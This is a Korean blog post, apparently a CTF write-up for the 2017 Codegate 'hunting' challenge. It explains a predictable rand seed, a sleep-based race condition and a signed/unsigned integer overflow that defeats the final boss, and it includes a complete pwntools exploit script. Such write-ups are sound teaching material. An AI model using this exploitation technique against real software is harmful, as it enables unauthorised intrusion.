2017 codegate hunting
이렇게 6가지 메뉴가 존재한다.
위와 같이 체력, 공격력, 공격 타입 등을 전역변수로 관리한다.
보스를 잡으면 셋팅해주는 0x6033d0이 존재하면 v8에 오버플로우를 내준다.
그리고 5번째 메뉴에도 오버플로우가 존재한다.
보스를 잡으면 system("clear")가 실행 된다.
보스를 잡으면 보스가 업그레이드 된다. 체력과 레벨이 올라가는데 체력은 전역 변수에서 관리하고 있다.
위와 같이 배열로 64, 1000, 3000, 9223372036854775806(0x7FFFFFFFFFFFFFFE)
또한 srand seed값을 맞춰 rand값을 알아낼 수 있다. 즉 canary만 어떻게 하면 rop로 쉽게 풀 수 있을 것 같은데.. 아니었다.. 쇼크
그리고 이 바이너리의 특이한 점은 2번 메뉴를 thread를 만들어서 관리한다는 것이다.
무기를 바꿨을 때 공격력을 설정해주는 부분인데 sleep() 함수가 들어가 있다. 근데 두개만 sleep(1)이고 나머지는 0.. race condition.. 냄새가 난다.
그중에서 icesword를 보면 무기 공격력을 항상 0xFFFFFFFF으로 설정 해준다. 그래도 이걸로 4번 보스 피를 다 깎는다는건 좀..
다시 위로 가서 보면 4번 보스의 HP와 iceword의 공격력이 integer overflow가 간당간당하다.
즉, 이 무기의 공격력을 overflow 시켜 보스의 HP를 overflow 시키면 된다.
위 코드를 보면 무기가 4번 이하 무기일 경우 보스의 체력에서 (signed int)*(_QWORD *)(a1 + 72)를 빼주며
5번 이상일 경우 *(_QWORD *)(a1 + 72)를 빼준다.
여기서 중요한건 0xFFFFFFFF는 unsigned일 경우 4294967295, signed일 경우 -1이다. ( 1의 2의 보수 = FFFFFFFF ) 즉 이를 이용하면 보스의 HP를 늘릴 수 있다.
fire ball을 시전하고 바로 ice sword로 장비를 바꿔 공격하면 fire ball을 썼는데 ice sword가 나가는 신기한 현상을 확인할 수 있다.
그 이유는 fire ball은 공격이 들어가기까지 sleep(1) 1초가 걸리기 때문이다. 1초 사이에 공격력만 싹 바꿔주면 race condition 성공!
근데 검색해보니 원래는 system("clear")가 아니라 system("cat /home/hunting/flag") 였다고 한다 왜바꼈지..
익스플로잇 흐름도는 다음과 같다.
x
from pwn import *
from ctypes import *
context.log_level = 'debug'
e = ELF('./hunting')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
s = process('./hunting')
libc.srand(libc.time(0))
def shield():
libc.rand()
rand_num = libc.rand()
rand_num %= 4
if rand_num == 0:
return '1'
elif rand_num == 2:
return '2'
else:
return '3'
def use_skill(str1, str2):
s.recvuntil(str1)
s.sendline('2')
sh = shield()
stat = s.recvuntil(str2)
s.sendline(sh)
return stat
def chg_skill(str1, str2, num):
s.recvuntil(str1)
s.sendline('3')
s.recvuntil(str2)
s.sendline(num)
#s.interactive()
chg_skill('Exit\n', 'light\n', '3')
while True:
if 'level:4' in use_skill('Exit\n', '=\n'):
break
print("##########################level4###########################")
s.send('3\n2\n')
s.send('2\n'+shield()+'\n')
sleep(0.1)
s.send('3\n7\n')
s.send('2\n'+shield()+'\n')
sleep(2)
s.send('3\n2\n')
s.send('2\n'+shield()+'\n')
sleep(0.1)
s.send('3\n7\n')
s.send('2\n'+shield()+'\n')
s.interactive()
쉘을 따는게 아니고 clear라서 못보여준다..
'system > writeup' 카테고리의 다른 글
2014 plaidCTF kappa (0) | 2019.01.08 |
---|---|
2017 codegate messenger (0) | 2019.01.07 |
2017 codegate babymisc (0) | 2019.01.05 |
pwnable.tw start (0) | 2019.01.05 |
2017 codegate babypwn (0) | 2019.01.04 |